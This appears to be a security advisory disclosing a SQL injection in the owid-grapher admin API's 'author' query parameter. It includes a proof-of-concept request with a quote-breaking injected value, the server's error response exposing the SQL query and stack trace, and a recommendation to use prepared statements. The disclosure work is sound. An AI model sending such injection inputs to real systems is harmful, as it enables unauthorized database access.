Input from the client is unsafely used in the construction of a SQL statement using string concatenation, permitting a malicious user to manipulate the SQL statement structure and conduct arbitrary SQL statements.
GET /admin/api/all-work?author=aaa%27 HTTP/1.1
Host: *********:3030
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: sessionid=*********************
Connection: keep-alive
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Cache-Control: private, no-cache
Content-Type: application/json; charset=utf-8
Content-Length: 1454
ETag: W/"5ae-pbuyT2R1ZWwKw8XEwM3eZpCX3jY"
Date: Thu, 19 Dec 2024 02:29:00 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"error":{"message":"Error: -- sql\n SELECT id, publishedAt\n FROM posts_gdocs\n WHERE JSON_CONTAINS(content->'$.authors', '\"aaa'\"')\n AND type NOT IN (\"data-insight\", \"fragment\")\n AND published = 1\n - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-insight\", \"fragment\")\n AND published = 1' at line 5\n at Packet.asError (/home/owid-grapher/node_modules/mysql2/lib/packets/packet.js:728:17)\n at Query.execute (/home/owid-grapher/node_modules/mysql2/lib/commands/command.js:29:26)\n at Connection.handlePacket (/home/owid-grapher/node_modules/mysql2/lib/connection.js:481:34)\n at PacketParser.onPacket (/home/owid-grapher/node_modules/mysql2/lib/connection.js:97:12)\n at PacketParser.executeStart (/home/owid-grapher/node_modules/mysql2/lib/packet_parser.js:75:16)\n at Socket.<anonymous> (/home/owid-grapher/node_modules/mysql2/lib/connection.js:104:25)\n at Socket.emit (node:events:520:28)\n at addChunk (node:internal/streams/readable:559:12)\n at readableAddChunkPushByteMode (node:internal/streams/readable:510:3)\n at Readable.push (node:internal/streams/readable:390:5)\n at TCP.onStreamRead (node:internal/stream_base_commons:191:23)","status":500}}
A malicious user may execute arbitrary SQL commands.
Use a prepared SQL statement and do not use string concatenation. If string concatenation or interpolation is unavoidable, constrain the user input to a set of acceptable characters and do not permit anything else.
Summary
Input from the client is unsafely used in the construction of a SQL statement using string concatenation, permitting a malicious user to manipulate the SQL statement structure and conduct arbitrary SQL statements.
The vulnerability is current to the latest commit at master branch, 6205b1b.
Details
The
author
query parameter in the/admin/api/all-work
API method is vulnerable to SQL injection. A malicious user must be authenticated to the/admin
portal in order to exploit it, or utilize a CSRF attack against a logged-in administrator.Source:
owid-grapher/adminSiteServer/apiRouter.ts
Line 2384 in dab3447
Sink 1:
owid-grapher/adminSiteServer/apiRouter.ts
Lines 2386 to 2394 in dab3447
Sink 2:
owid-grapher/adminSiteServer/apiRouter.ts
Lines 2397 to 2417 in dab3447
PoC
Request:
Response:
Impact
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
A malicious user may execute arbitrary SQL commands.
Recommendation
Use a prepared SQL statement and do not use string concatenation. If string concatenation or interpolation is unavoidable, constrain the user input to a set of acceptable characters and do not permit anything else.